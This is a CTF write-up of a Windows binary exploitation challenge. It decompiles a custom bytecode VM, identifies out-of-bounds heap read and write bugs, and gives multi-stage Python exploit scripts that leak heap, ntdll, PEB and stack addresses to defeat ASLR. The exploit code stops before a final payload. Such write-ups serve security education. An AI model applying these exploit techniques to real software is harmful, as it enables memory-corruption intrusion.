ITSEC CTF 2025 - VirtualMachine

Linz

Intro

One of the coolest Windows pwn challenges I’ve seen recently appeared at ITSEC Summit CTF 2025—props to the team ITSEC Indonesia (One Piece xd) for this creative task! For this challenge, we were provided with two files:

  • VirtualMachine.exe
  • VirtualMachine.pdb

Let’s jump right into the analysis and exploitation process.

Challenge Overview

After firing up the binary in IDA/Ghidra, we spot two core functions of interest: main and VirtualMachine::Execute.

Let’s break down the program’s logic step by step.

main function()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
FILE *v3; // rax
FILE *v4; // rax
FILE *v5; // rax
FILE *v6; // rax
int v7; // eax
FILE *v8; // rax
int v9; // eax
unsigned int v10; // eax
SIZE_T v11; // rsi
VirtualMachine *v12; // rax
VirtualMachine *v13; // rbx
Memory *v14; // rax
HANDLE v15; // rcx
Memory *v16; // rdi
char *v17; // rax
HANDLE v18; // rcx
Memory *memory; // rdi
DynamicPool *v20; // rax
HANDLE v21; // rcx
unsigned int *v22; // rax
__int64 v23; // rdi
__int64 v24; // rsi
DynamicMem *v25; // r8
__int16 v26; // sp
FILE *v27; // rax
FILE *v28; // rax
char Buffer[16]; // [rsp+30h] [rbp-228h] BYREF
char tempCodeBuffer[536]; // [rsp+40h] [rbp-218h] BYREF
unsigned int NumberOfBytesRead; // [rsp+260h] [rbp+8h] BYREF

v3 = __acrt_iob_func(1u);
setvbuf(v3, 0, 4, 0);
v4 = __acrt_iob_func(0);
setvbuf(v4, 0, 4, 0);
v5 = __acrt_iob_func(2u);
setvbuf(v5, 0, 4, 0);
v6 = __acrt_iob_func(1u);
v7 = _fileno(v6);
_setmode(v7, 0x8000);
v8 = __acrt_iob_func(0);
v9 = _fileno(v8);
_setmode(v9, 0x8000);
hHeap = HeapCreate(2u, 0, 0);
hStdin = GetStdHandle(0xFFFFFFF6);
printf("Size >> ");
for ( NumberOfBytesRead = 0; ReadFile(hStdin, Buffer, 0xFu, &NumberOfBytesRead, 0); NumberOfBytesRead = 0 )
{
v10 = atol(Buffer);
v11 = v10;
if ( v10 <= 0x200 )
{
printf("Code >> ");
NumberOfBytesRead = 0;
if ( !ReadFile(hStdin, tempCodeBuffer, v11, &NumberOfBytesRead, 0) )
Panic("Error reading input");
v12 = HeapAlloc(hHeap, 8u, 0x60u);
v13 = v12;
if ( !v12 )
Panic("Memory allocation failed");
*v12->reg = 0;
*&v12->reg[2] = 0;
*&v12->reg[4] = 0;
*&v12->reg[6] = 0;
*&v12->reg[8] = 0;
v12->memory = 0;
v12->code = 0;
if ( strncmp(tempCodeBuffer, "WHEN_YH_SEJAGO_ZAFIRR_LINZ_MSFIR", 0x20u) )
Panic("Invalid Magic Bytes");
v14 = HeapAlloc(hHeap, 8u, 0x10u);
v15 = hHeap;
v13->memory = v14;
v16 = v14;
v17 = HeapAlloc(v15, 8u, 0x10u);
v18 = hHeap;
v16->statics = v17;
memory = v13->memory;
v20 = HeapAlloc(v18, 8u, 0x40u);
v21 = hHeap;
memory->dynamics = v20;
v22 = HeapAlloc(v21, 8u, v11);
v13->code = v22;
v13->reg[8] = v22;
memcpy_0(v22, &tempCodeBuffer[32], v11 - 32);
puts("Executing...");
VirtualMachine::Execute(v13);
puts("Execution finished.");
puts("Cleaning up...");
v23 = 0;
v24 = 8;
do
{
v25 = v13->memory->dynamics->allocations[v23];
if ( v25 )
HeapFree(hHeap, 0, v25);
++v23;
--v24;
}
while ( v24 );
HeapFree(hHeap, 0, v13->memory->dynamics);
HeapFree(hHeap, 0, v13->memory->statics);
HeapFree(hHeap, 0, v13->code);
HeapFree(hHeap, 0, v13);
puts("Done.");
printf("total code ran: %llu\n", (v26 - 545 + 64) & 0xFFF);
v27 = __acrt_iob_func(1u);
fflush(v27);
v28 = __acrt_iob_func(0);
fflush(v28);
}
else
{
printf("eh malas la\n");
}
printf("Size >> ");
}
Panic("Error reading input");
}

On startup, the program prompts for input: it expects a custom VM code with the signature:

WHEN_YH_SEJAGO_ZAFIRR_LINZ_MSFIR

Once you provide the correct signature, it proceeds to execute all supplied opcodes via the VirtualMachine::Execute function.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
void __fastcall VirtualMachine::Execute(VirtualMachine *this)
{
unsigned __int16 *v1; // rdx
unsigned __int16 v3; // r8
unsigned int v4; // eax
unsigned __int64 *v5; // rcx
unsigned __int64 v6; // rax
unsigned __int64 v7; // rax
unsigned __int64 *v8; // rcx
unsigned __int64 v9; // rax
unsigned __int64 v10; // rax
unsigned __int16 v11; // r9
__int64 v12; // r8
DynamicMem *v13; // rcx
unsigned __int16 v14; // r8
__int64 v15; // r9
Memory *memory; // rax
DynamicMem *v17; // r10
unsigned int v18; // ecx
unsigned int v19; // r8d
DynamicMem *v20; // rax
unsigned __int16 v21; // cx
__int16 v22; // dx
unsigned __int16 v23; // cx
__int16 v24; // dx
unsigned __int16 v25; // cx
unsigned __int16 v26; // dx
unsigned __int16 v27; // cx
unsigned __int16 v28; // dx
unsigned __int64 v29; // rbx
unsigned __int64 v30; // rsi
DynamicMem *v31; // r8
unsigned __int16 v32; // bx
__int64 v33; // rsi
DWORD *v34; // r8
void *v35; // rdx
DWORD v36; // r8d
unsigned int NumberOfBytesRead; // [rsp+50h] [rbp+8h] BYREF

v1 = this->reg[8];
v3 = *v1;
v4 = *v1 & 0xF;
while ( 1 )
{
switch ( v4 )
{
case 0u:
v6 = *v1;
if ( (*v1 & 0x400) != 0 )
v7 = v6 >> 11;
else
v7 = this->reg[(v6 >> 7) & 7];
v5 = &this->reg[(*v1 >> 4) & 7];
*v5 += v7;
break;
case 1u:
v9 = *v1;
if ( (*v1 & 0x400) != 0 )
v10 = v9 >> 11;
else
v10 = this->reg[(v9 >> 7) & 7];
v8 = &this->reg[(*v1 >> 4) & 7];
*v8 -= v10;
break;
case 2u:
v11 = (*v1 >> 4) & 7;
v12 = (*v1 >> 7) & 0x1F;
if ( (*v1 & 0x1000) != 0 )
{
v13 = this->memory->dynamics->allocations[*v1 >> 13];
if ( !v13 )
goto LABEL_64;
this->reg[v11] = *(&v13->Data + v12);
}
else
{
if ( v12 > 0x10 )
goto LABEL_65;
this->reg[v11] = this->memory->statics[v12];
}
break;
case 3u:
v14 = (*v1 >> 4) & 7;
v15 = (*v1 >> 7) & 0x1F;
memory = this->memory;
if ( (*v1 & 0x1000) != 0 )
{
v17 = memory->dynamics->allocations[*v1 >> 13];
if ( !v17 )
goto LABEL_64;
if ( v15 > v17->Size )
goto LABEL_65;
*(&v17->Data + v15) = this->reg[v14];
}
else
{
*&memory->statics[v15] = this->reg[v14];
}
break;
case 4u:
v18 = *v1;
v19 = (v18 >> 4) & 0x1F;
if ( (v18 & 0x200) != 0 )
{
v20 = this->memory->dynamics->allocations[(v18 >> 12) & 7];
if ( !v20 )
goto LABEL_64;
if ( v19 > v20->Size )
LABEL_65:
Panic("OUT OF BOUNDS");
puts(&v20->Data + v19);
}
else
{
if ( v19 > 0x10 )
goto LABEL_65;
puts(&this->memory->statics[v19]);
}
break;
case 5u:
v1 = (v1 + ((*v1 >> 4) & 0x1F));
this->reg[8] = v1;
v3 = *v1;
goto LABEL_59;
case 6u:
this->reg[(*v1 >> 4) & 7] = (*v1 >> 7) & 0x3F;
break;
case 7u:
v21 = *v1;
this->reg[9] = 0;
v22 = (v21 >> 4) & 7;
if ( (v21 & 0x400) != 0 )
{
if ( v22 == v21 >> 11 )
this->reg[9] = 1;
}
else if ( v22 == ((v21 >> 7) & 7) )
{
this->reg[9] = 1;
}
break;
case 8u:
v23 = *v1;
this->reg[9] = 0;
v24 = (v23 >> 4) & 7;
if ( (v23 & 0x400) != 0 )
{
if ( v24 != v23 >> 11 )
this->reg[9] = 1;
}
else if ( v24 != ((v23 >> 7) & 7) )
{
this->reg[9] = 1;
}
break;
case 9u:
v25 = *v1;
this->reg[9] = 0;
v26 = (v25 >> 4) & 7;
if ( (v25 & 0x400) != 0 )
{
if ( v26 < (v25 >> 11) )
this->reg[9] = 1;
}
else if ( v26 < ((v25 >> 7) & 7) )
{
this->reg[9] = 1;
}
break;
case 0xAu:
v27 = *v1;
this->reg[9] = 0;
v28 = (v27 >> 4) & 7;
if ( (v27 & 0x400) != 0 )
{
if ( v28 > (v27 >> 11) )
this->reg[9] = 1;
}
else if ( v28 > ((v27 >> 7) & 7) )
{
this->reg[9] = 1;
}
break;
case 0xBu:
v29 = (*v1 >> 4) & 0x3F;
v30 = *v1 >> 10;
v31 = this->memory->dynamics->allocations[v30];
if ( v31 )
HeapFree(hHeap, 0, v31);
this->memory->dynamics->allocations[v30] = HeapAlloc(hHeap, 8u, v29 + 8);
this->memory->dynamics->allocations[v30]->Size = v29;
break;
case 0xCu:
return;
case 0xDu:
v32 = *v1;
v33 = (*v1 >> 5) & 0x3F;
printf(">> ");
if ( (v32 & 0x10) != 0 )
{
v34 = this->memory->dynamics->allocations[v33];
if ( !v34 )
LABEL_64:
Panic("NULL POINTER");
v35 = v34 + 2;
v36 = *v34;
NumberOfBytesRead = 0;
if ( !ReadFile(hStdin, v35, v36, &NumberOfBytesRead, 0) )
Panic("Error reading input");
}
else
{
if ( v33 > 0x10 )
goto LABEL_65;
this->memory->statics[v33] = getchar();
}
break;
default:
goto LABEL_63;
}
this->reg[8] += 2LL;
v1 = this->reg[8];
v3 = *v1;
if ( (*v1 & 0xF) == 0 )
break;
LABEL_59:
v4 = v3 & 0xF;
if ( v4 > 0xD )
{
LABEL_63:
printf(
"[-] opcode=%d%d%d%d\n",
((v3 >> 4) >> 3) & 1,
((v3 >> 4) >> 2) & 1,
((v3 >> 4) >> 1) & 1,
(v3 & 0x10) != 0);
Panic("Unknown Instruction");
}
}
}

VirtualMachine::Execute – Opcode Breakdown

High-level:

This is a custom bytecode interpreter with 14 opcodes (0x0 to 0xD). The VM uses a set of registers, a static and dynamic memory area, and interprets 16-bit instructions with embedded fields for register/memory selection, values, and flags.

Let’s summarize each opcode (case X):

Opcode 0: Add

1
2
3
4
5
6
7
8
9
case 0u:
v6 = *v1;
if ( (*v1 & 0x400) != 0 )
v7 = v6 >> 11;
else
v7 = this->reg[(v6 >> 7) & 7];
v5 = &this->reg[(*v1 >> 4) & 7];
*v5 += v7;
break;
  • Adds a value (immediate or register) to a target register.
  • If bit 0x400 set: use immediate, else another register.
  • reg[target] += value

Opcode 1: Sub

1
2
3
4
5
6
7
8
9
case 1u:
v9 = *v1;
if ( (*v1 & 0x400) != 0 )
v10 = v9 >> 11;
else
v10 = this->reg[(v9 >> 7) & 7];
v8 = &this->reg[(*v1 >> 4) & 7];
*v8 -= v10;
break;
  • Like addition, but subtracts the value instead.
  • reg[target] -= value

Opcode 2: Load Static & Dynamic (Vuln Here)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
case 2u:
v11 = (*v1 >> 4) & 7;
v12 = (*v1 >> 7) & 0x1F;
if ( (*v1 & 0x1000) != 0 )
{
v13 = this->memory->dynamics->allocations[*v1 >> 13];
if ( !v13 )
goto LABEL_64;
this->reg[v11] = *(&v13->Data + v12);
}
else
{
if ( v12 > 0x10 )
goto LABEL_65;
this->reg[v11] = this->memory->statics[v12];
}
break;
  • Loads from static or dynamic memory into a register.
  • If bit 0x1000 set: loads from dynamic heap allocations, otherwise from statics.
  • If static and index > 0x10, trigger checker OOB panic.

Vulnerability:

If we allocate a dynamic chunk (opcode 0xB) with a small size (e.g., 8 or 16 bytes), we can still use opcode 2 to read up to index 31 due to how the instruction’s index field is used.

This is a classic out-of-bounds (OOB) read to leak some data

Opcode 3: Store Static & Dynamic (Vuln Here)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
case 3u:
v14 = (*v1 >> 4) & 7;
v15 = (*v1 >> 7) & 0x1F;
memory = this->memory;
if ( (*v1 & 0x1000) != 0 )
{
v17 = memory->dynamics->allocations[*v1 >> 13];
if ( !v17 )
goto LABEL_64;
if ( v15 > v17->Size )
goto LABEL_65;
*(&v17->Data + v15) = this->reg[v14];
}
else
{
*&memory->statics[v15] = this->reg[v14];
}
break;
  • Stores register into static or dynamic memory.
  • Again, dynamic uses heap allocations, static is direct write.
  • If dynamic index is OOB (greater than allocation size), trigger checker OOB panic.

Vulnerability Here:

The code allows us to store values up to index 31 into the statics array, but the memory→statics is HeapAlloc 0x10 bytes when created on main function.
v17 = HeapAlloc(v15, 8u, 16u); v16->statics = v17;

This is a classic out-of-bounds (OOB) write vulnerability

Opcode 4: Print

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
      case 4u:
v18 = *v1;
v19 = (v18 >> 4) & 0x1F;
if ( (v18 & 0x200) != 0 )
{
v20 = this->memory->dynamics->allocations[(v18 >> 12) & 7];
if ( !v20 )
goto LABEL_64;
if ( v19 > v20->Size )
LABEL_65:
Panic("OUT OF BOUNDS");
puts(&v20->Data + v19);
}
else
{
if ( v19 > 0x10 )
goto LABEL_65;
puts(&this->memory->statics[v19]);
}
break;
  • Prints a string from static or dynamic memory (calls puts).
  • Dynamic index OOB = panic, static > 0x10 = panic.
  • Note: We can use this to leak. Since the main function runs in a while(true) loop, we can call VirtualMachine::Execute as many times as we want

Opcode 5: Jump

1
2
3
4
5
case 5u:
v1 = (v1 + ((*v1 >> 4) & 0x1F));
this->reg[8] = v1;
v3 = *v1;
goto LABEL_59
  • Changes instruction pointer (reg[8]) by an offset in the instruction.
  • Used for loops/branching in bytecode.

Opcode 6: Immediate Load

1
2
3
case 6u:
this->reg[(*v1 >> 4) & 7] = (*v1 >> 7) & 0x3F;
break;
  • Loads an immediate value into a register.

Opcodes 7-10 (0x7-0xA): Conditionals

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
case 7u:
v21 = *v1;
this->reg[9] = 0;
v22 = (v21 >> 4) & 7;
if ( (v21 & 0x400) != 0 )
{
if ( v22 == v21 >> 11 )
this->reg[9] = 1;
}
else if ( v22 == ((v21 >> 7) & 7) )
{
this->reg[9] = 1;
}
break;
case 8u:
v23 = *v1;
this->reg[9] = 0;
v24 = (v23 >> 4) & 7;
if ( (v23 & 0x400) != 0 )
{
if ( v24 != v23 >> 11 )
this->reg[9] = 1;
}
else if ( v24 != ((v23 >> 7) & 7) )
{
this->reg[9] = 1;
}
break;
case 9u:
v25 = *v1;
this->reg[9] = 0;
v26 = (v25 >> 4) & 7;
if ( (v25 & 0x400) != 0 )
{
if ( v26 < (v25 >> 11) )
this->reg[9] = 1;
}
else if ( v26 < ((v25 >> 7) & 7) )
{
this->reg[9] = 1;
}
break;
case 0xAu:
v27 = *v1;
this->reg[9] = 0;
v28 = (v27 >> 4) & 7;
if ( (v27 & 0x400) != 0 )
{
if ( v28 > (v27 >> 11) )
this->reg[9] = 1;
}
else if ( v28 > ((v27 >> 7) & 7) )
{
this->reg[9] = 1;
}
break;
  • Set reg[9] (a flag register) for comparison outcomes.
    • 7: Set if two values are equal.
    • 8: Set if two values are not equal.
    • 9: Set if one is less than the other.
    • A: Set if one is greater than the othe

Opcode 0xB: Dynamic Heap Alloc

1
2
3
4
5
6
7
8
9
case 0xBu:
v29 = (*v1 >> 4) & 0x3F;
v30 = *v1 >> 10;
v31 = this->memory->dynamics->allocations[v30];
if ( v31 )
HeapFree(hHeap, 0, v31);
this->memory->dynamics->allocations[v30] = HeapAlloc(hHeap, 8u, v29 + 8);
this->memory->dynamics->allocations[v30]->Size = v29;
break;
  • Heap allocation/free:
    • Frees existing allocation at index.
    • Allocates new chunk of controlled size (v29 + 8) at that index.
    • Stores pointer in dynamics->allocations[index].

Opcode 0xC: Return / Exit

1
2
case 0xCu:
return;
  • Exits interpreter loop.

Opcode 0xD: Input

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
      case 0xDu:
v32 = *v1;
v33 = (*v1 >> 5) & 0x3F;
printf(">> ");
if ( (v32 & 0x10) != 0 )
{
v34 = this->memory->dynamics->allocations[v33];
if ( !v34 )
LABEL_64:
Panic("NULL POINTER");
v35 = v34 + 2;
v36 = *v34;
NumberOfBytesRead = 0;
if ( !ReadFile(hStdin, v35, v36, &NumberOfBytesRead, 0) )
Panic("Error reading input");
}
else
{
if ( v33 > 0x10 )
goto LABEL_65;
this->memory->statics[v33] = getchar();
}
break;
  • Reads input (calls ReadFile for dynamic, getchar() for static).
  • Dynamic: if allocation is NULL, panic; else, reads up to chunk’s stored size.

Exploit

Since we have both OOB Read and Write primitives, let’s examine the heap layout using x64dbg during our allocation. First, we’ll demonstrate a heap leak using the load dynamic instruction.

Step 1: Heap Leak via OOB Read

We start by allocating a small chunk and then performing an out-of-bounds read. Here’s the relevant exploit script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
vm = VMInstructionBuilder()

#stage 1 Leak Heap
magic = b"WHEN_YH_SEJAGO_ZAFIRR_LINZ_MSFIR"
payload = magic
# payload += vm.set_immediate(dst_reg=0, value=49) # reg[0] = 0x41
payload += vm.allocate(size=8, alloc_slot=0)
payload += vm.load_dynamic(dst_reg=0, index=24, alloc_slot=0) # overflow here with index 24
payload += vm.store_static(src_reg=0, index=0) # Store leaked value to static[0]
payload += vm.print_static(index=0)
payload += vm.exit()

p.sendlineafter(b'>> ', str(len(payload)).encode())
p.sendafter(b'>> ', payload)

image.png

Heap Layout Analysis:

In x64dbg, we can see our allocated chunk starts at 0x9A8 and ends at 0x9B0 (only 16 bytes). However, thanks to our OOB read via load_dynamic, we can access memory far beyond this allocation.

By reading at index 24 (0x18), we end up accessing address 0x9C0—well outside the bounds of our chunk. This gives us a powerful heap leak primitive.

image.png

As shown in the image, RCX points to the base of our allocated chunk, and R8 is set to 0x18 (24). The VM then loads from [rcx + r8 + 8], which targets address 0x9C0. This effectively leaks a value from elsewhere on the heap!

Step 2: Achieving Arbitrary Read & Write with Store Static

After leaking the heap, our next goal is to gain arbitrary read and write (ARB R/W) using the OOB write primitive in store_static.

image.png

Heap Structure Recap

From the image above:

  • memory->dynamics and memory->statics: These are pointers to our dynamic and static memory areas.
  • memory->dynamics->allocations: This points to our allocated chunk (highlighted in the image).
  • Our chunk structure: the chunk size field is at offset 0x9A8, followed by our heap buffer at 0x9B0, and so on.

OOB Write Mechanics

Because the statics buffer is only 0x10 bytes long, but we can use store_static with any index up to 31, we can overwrite memory past the bounds of the statics allocation.

Key point:

With this, we can overwrite pointers such as our chunk pointer in memory->dynamics->allocations with any address we want, as long as we avoid corrupting the chunk header at 0x908.

  • The heap header is at 0x908, so to avoid heap corruption, don’t touch that region.
  • The maximum index (0x1f) allows us to target memory at 0xF0 + 0x1F.

Exploitation Example

Let’s say we want to overwrite a pointer with a controlled value (0xdeadbeef). We can craft the payload so that store_static at index 31 overwrites the desired memory address:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
magic = b"WHEN_YH_SEJAGO_ZAFIRR_LINZ_MSFIR"
payload = magic
payload += vm.allocate(16, alloc_slot=0)
payload += vm.input_dynamic(0) # input our target address for leak here
payload += vm.load_dynamic(dst_reg=0, index=0, alloc_slot=0) # store target address to dst_reg[0]
payload += vm.store_static(src_reg=0, index=31) # overwrite chunk to our target

payload += vm.load_dynamic(dst_reg=0, index=0, alloc_slot=0) # dst_reg[0] = 0xdeadbeef should crash here!
payload += vm.store_static(src_reg=0, index=0)
payload += vm.print_static(index=0)
payload += vm.exit()

p.sendlineafter(b'>> ', str(len(payload)).encode())
p.sendafter(b'>> ', payload)
sleep(1)
# Example payload to overwrite pointer
p.sendafter(b'>> ', p64((0xdeadbeef) << 8 | 0x10))

  • Here, (0xdeadbeef - 8) << 8 | 0x10 ensures proper alignment and sets the QWORD value.
  • 0x10 is to avoid corrupting the chunk header at 0x908

Result:

image.png

Now we have the ability to overwrite any QWORD after the statics buffer, giving us arbitrary read/write capability, which can be leveraged for further exploitation.

Our immediate goal is to leak a DLL address. Fortunately, from the Windows heap layout, we notice that a ntdll pointer is present within our process’s heap region, specifically inside chunk 0x2C0.

With our arbitrary read/write, we can change the 0xdeadbeef to that pointer by crafting the payload to the address of chunk 0x2C0, we can then use the load_dynamic or print_dynamic opcode to read and leak the value at that address.

With our OOB write primitive, we can overwrite memory->dynamics->allocations[0] to point anywhere on the heap, giving us arbitrary read/write capabilities. Our target now is to leak an ntdll.dll address to defeat ASLR and set up for later exploitation.

Note: After achieving ARB R/W, it’s critical to restore the overwritten pointer to its original value.

Otherwise, when the VM loop continues and accesses dynamic allocations, it could dereference an invalid pointer and crash.

This gives us a heap leak as well as an information leak of a loaded DLL, which is crucial for bypassing modern mitigations such as ASLR.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#stage 1 Leak Heap
magic = b"WHEN_YH_SEJAGO_ZAFIRR_LINZ_MSFIR"
payload = magic
payload += vm.allocate(size=8, alloc_slot=0)
payload += vm.load_dynamic(dst_reg=0, index=24, alloc_slot=0)
payload += vm.store_static(src_reg=0, index=0) # Store leaked value to static[0]
payload += vm.print_static(index=0)
payload += vm.exit()

p.sendlineafter(b'>> ', str(len(payload)).encode())
p.sendafter(b'>> ', payload)
p.recvuntil(b'Executing...\n')
leak = u64(p.recvline().rstrip().ljust(8, b'\x00'))
heap_ntdll = leak + 0x170
print(f"leak: {hex(leak)}")
print(f"Heap Ntdll: {hex(heap_ntdll)}")

#stage 2
log.info("[*] Stage 2 Leak ntdll")
magic = b"WHEN_YH_SEJAGO_ZAFIRR_LINZ_MSFIR"
payload = magic
payload += vm.allocate(16, alloc_slot=0)
payload += vm.input_dynamic(0) # input heap ntdll here & heap original heap address here
payload += vm.load_dynamic(dst_reg=0, index=0, alloc_slot=0) # store heap_ntdll for leak heap_ntdll later
payload += vm.load_dynamic(dst_reg=1, index=8, alloc_slot=0) # store original heap pointer so not crash
payload += vm.store_static(src_reg=0, index=31) # Store heap_ntdll value to static[0]

payload += vm.load_dynamic(dst_reg=0, index=0, alloc_slot=0) # dst_reg[0] = heap_ntdll load the ntdll value here
payload += vm.store_static(src_reg=0, index=0) # Store ntdll address on static
payload += vm.print_static(index=0) # leak ntdll address!

##set back to normal
payload += vm.store_static(src_reg=1, index=31) # make dst_reg[0] become normal again
payload += vm.exit()

p.sendlineafter(b'>> ', str(len(payload)).encode())
p.sendafter(b'>> ', payload)
sleep(1)
p.sendafter(b'>> ', p64((heap_ntdll-8) << 8 | 0x10) + p64((leak + 0x870) << 8 | 0x10))

ntdll_leak = u64(p.recvline().rstrip().ljust(8, b'\x00'))
ntdll_base = ntdll_leak - 0x1d5110
peb = ntdll_base + 0x1cf218
print(f"ntdll_leak: {hex(ntdll_leak)}")
print(f"ntdll_base: {hex(ntdll_base)}")

image.png

Step 3: Leaking PEB and Stack Addresses

With an ntdll.dll address leaked in the previous step, we’re ready to escalate further by leaking the PEB (Process Environment Block) and the stack address.

Leaking the PEB Address

Once we have the base address of ntdll.dll, we can locate the PEB because the writable region of ntdll contains a direct pointer to the PEB at offset ntdll_base + 0x1cf218 By reading that location with our arbitrary read primitive, we leak the address of the PEB.

image.png

Leaking the Stack Address

Inside the PEB, there’s a pointer to the stack at offset PEB Base_address + 0x1010

By reading this value (again, with our ARB read), we now have the base address of the stack for the current thread.


Why This Matters

With both the stack and PEB addresses leaked, we can now:

  • Use our arbitrary write primitive to target sensitive locations, such as the return address on the stack or function pointers to achieving code execution.

Exploitation Challenge

The main obstacle now is that the offset between the return address (where we want to write) and the stack base (leaked from the PEB) can vary between runs or between environments. This means we need to:

  • Brute-force, scan, or analyze the stack layout to pinpoint the return address reliably.
  • In a CTF, you might brute-force the offset or try repeated runs with adjusted values, watching for a crash, a successful hijack, or an output indicating success.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
vm = VMInstructionBuilder()

#stage 1 Leak Heap
magic = b"WHEN_YH_SEJAGO_ZAFIRR_LINZ_MSFIR"
payload = magic
payload += vm.allocate(size=8, alloc_slot=0)
payload += vm.load_dynamic(dst_reg=0, index=24, alloc_slot=0)
payload += vm.store_static(src_reg=0, index=0) # Store leaked value to static[0]
payload += vm.print_static(index=0)
payload += vm.exit()

p.sendlineafter(b'>> ', str(len(payload)).encode())
p.sendafter(b'>> ', payload)
p.recvuntil(b'Executing...\n')
leak = u64(p.recvline().rstrip().ljust(8, b'\x00'))
heap_ntdll = leak + 0x170
print(f"leak: {hex(leak)}")
print(f"Heap Ntdll: {hex(heap_ntdll)}")

#stage 2
log.info("[*] Stage 2 Leak ntdll")
magic = b"WHEN_YH_SEJAGO_ZAFIRR_LINZ_MSFIR"
payload = magic
payload += vm.allocate(16, alloc_slot=0)
payload += vm.input_dynamic(0) # input heap ntdll here & heap original heap address here
payload += vm.load_dynamic(dst_reg=0, index=0, alloc_slot=0) # store heap_ntdll for leak heap_ntdll later
payload += vm.load_dynamic(dst_reg=1, index=8, alloc_slot=0) # store original heap pointer so not crash
payload += vm.store_static(src_reg=0, index=31) # Store heap_ntdll value to static[0]

payload += vm.load_dynamic(dst_reg=0, index=0, alloc_slot=0) # dst_reg[0] = heap_ntdll load the ntdll value here
payload += vm.store_static(src_reg=0, index=0) # Store ntdll address on static
payload += vm.print_static(index=0) # leak ntdll address!

##set back to normal
payload += vm.store_static(src_reg=1, index=31) # make dst_reg[0] become normal again
payload += vm.exit()

p.sendlineafter(b'>> ', str(len(payload)).encode())
p.sendafter(b'>> ', payload)
sleep(1)
p.sendafter(b'>> ', p64((heap_ntdll-8) << 8 | 0x10) + p64((leak + 0x870) << 8 | 0x10))

ntdll_leak = u64(p.recvline().rstrip().ljust(8, b'\x00'))
ntdll_base = ntdll_leak - 0x1d5110
peb = ntdll_base + 0x1cf218
print(f"ntdll_leak: {hex(ntdll_leak)}")
print(f"ntdll_base: {hex(ntdll_base)}")
print(f'ntdll_peb: {hex(peb)}')

#stage 3 leak PEB
log.info("[*] Stage 3 Leak PEB/Stack")
magic = b"WHEN_YH_SEJAGO_ZAFIRR_LINZ_MSFIR"
payload = magic
payload += vm.allocate(16, alloc_slot=0)
payload += vm.input_dynamic(0) # input heap ntdll here
payload += vm.load_dynamic(dst_reg=0, index=0, alloc_slot=0) # load to dynamic[0]
payload += vm.load_dynamic(dst_reg=1, index=8, alloc_slot=0) # load to dynamic[1]
payload += vm.store_static(src_reg=0, index=31) # Store heap value to static[0]

payload += vm.load_dynamic(dst_reg=0, index=0, alloc_slot=0)
payload += vm.store_static(src_reg=0, index=0) # Store leaked value to static[0]
payload += vm.print_static(index=0)

##set back to normal
payload += vm.store_static(src_reg=1, index=31) # Store leaked value to static[1]
payload += vm.exit()

p.sendlineafter(b'>> ', str(len(payload)).encode())
p.sendafter(b'>> ', payload)
sleep(1)
p.sendafter(b'>> ', p64((peb-8) << 8 | 0x10) + p64((leak + 0x890) << 8 | 0x10))

PEB = u64(p.recvline().rstrip().ljust(8, b'\x00')) - 0x240
print(f'PEB: {hex(PEB)}')

#stage 4 Stack ret
log.info("[*] Leak Stack Ret!!")
magic = b"WHEN_YH_SEJAGO_ZAFIRR_LINZ_MSFIR"
payload = magic
payload += vm.allocate(16, alloc_slot=0)
payload += vm.input_dynamic(0) # input heap ntdll here
payload += vm.load_dynamic(dst_reg=0, index=0, alloc_slot=0) # load to dynamic[0]
payload += vm.load_dynamic(dst_reg=1, index=8, alloc_slot=0) # load to dynamic[1]
payload += vm.store_static(src_reg=0, index=31) # Store heap value to static[0]

payload += vm.load_dynamic(dst_reg=0, index=0, alloc_slot=0)
payload += vm.store_static(src_reg=0, index=0) # Store leaked value to static[0]
payload += vm.print_static(index=0)

##set back to normal
payload += vm.store_static(src_reg=1, index=31) # Store leaked value to static[0]

payload += vm.exit()

p.sendlineafter(b'>> ', str(len(payload)).encode())
p.sendafter(b'>> ', payload)
sleep(1)
